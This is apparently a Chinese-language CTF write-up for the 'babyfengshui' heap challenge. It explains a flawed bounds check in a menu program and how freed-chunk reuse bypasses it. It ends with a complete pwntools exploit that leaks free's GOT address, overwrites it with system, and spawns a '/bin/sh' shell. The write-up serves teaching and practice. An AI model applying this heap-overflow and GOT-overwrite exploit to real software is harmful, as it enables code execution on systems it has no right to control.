本文 参考资料
https://github.com/firmianay/CTF-All-In-One
感谢 作者的 无私奉献 若是侵权 请联系 本人 本人会修改或删除
这道题 其实我也是看这篇文章才撸会的
怎么说呢 这个题 本来 我也是有点迷糊的 补了一些 堆溢出的资料 就懂了许多
这里我是结合资料 来写的 本人也是一个菜虾 要是哪里不对 还请指教
然后我们都进函数看一下
典型的 菜单题 ~~~~~~
大概的流程 大概就懂了 先说一下 是怎么申请的空间 可能这里对指针学的不好的同学看来可能会有些绕
字体不太好 大家看的清楚就好 然后 它的堆保护策略是
(char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4
其实 翻译过来 就是 user[i]->description+size(text) > user[i]-4
有上面那个图 就好解释多了 但是 假如 我们 做一些手脚呢
假设 (这里是跟着作者的 wp 写的 )
大家要是看不懂图 可以 看着下面的话理解(毕竟我心里还是有点数的)
它既然这样验证的话 我们如果构造 中间有堆的情况 那么 中间的堆 就可以 让我们随便利用 还能 用 2打印出我们想要的东西~~~~
首先要知道 堆的策略 堆优先考录 被释放的 地址 比如说 我先释放了 0x80字节的地方 再申请 小于 0x80的地方 它就会 占用我们 刚释放的地方 但是如果大于的话 就没有办法 只能找其它空间了
由于堆的字节对齐机制造成的,简单的说堆块是以8字节进行对齐的(x64为16字节)
我画的图 其实就是这个意思 (虽然我自己都看不出~~~)
我们可以先申请 两个空间 都是0x80 然后 我们再释放第一个空间 那么就会有 description的0x80和 结构体的0x80空间
然后 我们再申请 description0x100的空间 那么我们刚释放的0x100空间就正好被填充
它只能去后面找 那么 这个 安全的策略就被我们绕过了 (这个图最下面的第一个 d 是 3的d)
那么我们就可以为所欲为的 干事情了
值得一说是 堆前面会有数据标记 堆什么的 然后32位占 8字节 64位占16字节
然后 思路就是 添加两个user 然后第三个 存放/bin/sh 然后删除第一个user 造成堆溢出 ,并修改第 2 个 user 的 user>desc 为 got的free 然后得到 system的地址 然后修改user的 最后删除第三个 user 触发 system('/bin/sh')
这里照搬 上面网址的 exp
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('babyfengshui')
libc = ELF('libc-2.19.so')
def add_user(size, length, text):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", 'AAAA')
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
def delete_user(idx):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(idx))
def display_user(idx):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(idx))
def update_desc(idx, length, text):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
if __name__ == "__main__":
add_user(0x80, 0x80, 'AAAA') # 0
add_user(0x80, 0x80, 'AAAA') # 1
add_user(0x8, 0x8, '/bin/sh\x00') # 2
delete_user(0)
add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free'])) # 0
display_user(1)
io.recvuntil("description: ")
free_addr = u32(io.recvn(4))
system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
log.info("system address: 0x%x" % system_addr)
update_desc(1, 0x4, p32(system_addr))
delete_user(2)
io.interactive()